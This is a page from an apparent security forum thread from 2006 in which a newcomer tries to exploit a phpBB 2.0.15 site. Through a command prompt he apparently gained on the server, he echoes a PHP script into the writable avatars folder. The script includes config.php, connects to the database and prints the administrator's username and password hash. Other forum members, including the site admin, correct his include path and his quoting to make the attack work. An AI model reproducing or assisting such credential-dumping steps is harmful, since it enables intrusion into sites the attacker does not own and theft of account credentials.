 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 75
 Members: 0
 Total: 75
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 Posted: Sat Jun 03, 2006 5:03 pm |
 |
|
| Chb |
| Valuable expert |
 |
|
| Joined: Jul 23, 2005 |
| Posts: 206 |
| Location: Germany |
|
|
 |
|
 |
|
| utilizator wrote: | | Chb wrote: | Yes, you have to change it.
If you knew, what you have been copying, you would know that "config.php" is included. And where is it? I'm sure, that it isn't in "images/avatars"... So set the path via ".." or use the absolute path. |
I don't, remember? "Newbies corner"....  |
There are enough sites on the internet about PHP... A little bit of searching or better learning would tell you, what to do... 
| Quote: | withe one of this (?):
| Code: | | include('/hosting/www/www.site.com-docs/forum/config.php'); |
|
Right.
| Quote: | | Code: | | include('http://www.site.com/forum/config.php'); |
|
Wrong. |
|
|
|
|
|
|
|
|
| Posted: Sat Jun 03, 2006 5:39 pm |
|
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
Two more options:
1. Use directory traversal:
| Code: |
include('../../config.php');
|
2. Write that script not to avatars dir, but right to forum root dir.
By the way - did you get some error messages about failed inclusion? |
|
|
|
|
|
wtf? |
|
| Posted: Sat Jun 03, 2006 5:42 pm |
|
|
| utilizator |
| Regular user |
 |
|
| Joined: Jun 01, 2006 |
| Posts: 11 |
|
|
|
|
|
|
|
ok, eighter i'm stupid, or i am....
did this:
| Code: |
phpBB2.0.15> pwd
27
/hosting/www/www.site.com-docs/forum
f
phpBB2.0.15> echo "<?php" > /hosting/www/www.site.com-docs/forum/images/avatar
s/test.php
f
phpBB2.0.15> echo "error_reporting(E_ALL);" >> /hosting/www/www.site.com-docs/
forum/images/avatars/test.php
f
phpBB2.0.15> echo "include('/hosting/www/www.site.com-docs/forum/config.php');
" >> /hosting/www/www.site.com-docs/forum/images/avatars/test.php
f
phpBB2.0.15> echo "$h=mysql_connect($dbhost,$dbuser,$dbpasswd);" >> /hosting/www
/www.site.com-docs/forum/images/avatars/test.php
f
phpBB2.0.15> echo "mysql_select_db($dbname,$h);" >> /hosting/www/www.site.com-
docs/forum/images/avatars/test.php
f
phpBB2.0.15> echo "$res=mysql_query("SELECT username,user_password FROM ".$table
_prefix."users WHERE user_level=1",$h);" >> /hosting/www/www.site.com-docs/for
um/images/avatars/test.php
f
phpBB2.0.15> echo "$row=mysql_fetch_row($res);" >> /hosting/www/www.site.com-d
ocs/forum/images/avatars/test.php
f
phpBB2.0.15> echo "$un=$row[0];$pw=$row[1];" >> /hosting/www/www.site.com-docs
/forum/images/avatars/test.php
f
phpBB2.0.15> echo "echo "$un:$pw";" >> /hosting/www/www.site.com-docs/forum/im
ages/avatars/test.php
f
phpBB2.0.15> echo "?> " >> /hosting/www/www.site.com-docs/forum/images/avatars
/test.php
f
phpBB2.0.15> |
but afterwords,
| Code: | | http://site.com/forum/images/avatars/test.php |
still shows a blank page.... 
please help... |
|
|
|
|
|
|
|
|
| Posted: Sat Jun 03, 2006 5:49 pm |
|
|
| waraxe |
| Site admin |
|
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
Did you looked in test.php after creating - with "cat" ?
Is its contents as expected?
Because i think, that you need to quote lots of characters in echo commands, like " and $.
Example:
| Code: |
echo "\$h=mysql_connect(\$dbhost,\$dbuser,\$dbpasswd);" >> /hosting/www/www.site.com-docs/forum/images/avatars/test.php
|
|
|
|
|
|
|
... |
|
| Posted: Sat Jun 03, 2006 8:40 pm |
|
|
| utilizator |
| Regular user |
|
|
| Joined: Jun 01, 2006 |
| Posts: 11 |
|
|
|
|
|
|
|
ok, I think I will quit this forum though I really wanted to do this...
ls - disabled
cat - disabled
(though they worked a couple of days ago....)
I can't do really much blindfolded...
echo-ing something works, if i echo some text I can acces it via browser, but with php I don't know how to see what was written and what wasn't...
allso the only chmoded folder i know is avatars (canot perform a ls -l now to search for another) and the root folder sure isn't.
If any of you guys have some other ideeas on 2015 (phpBB 2.0.15 CHANGELOG) I'd appreciate it...
Waiting for your replys.... |
|
|
|
|
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 2 of 2
Goto page Previous1, 2
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
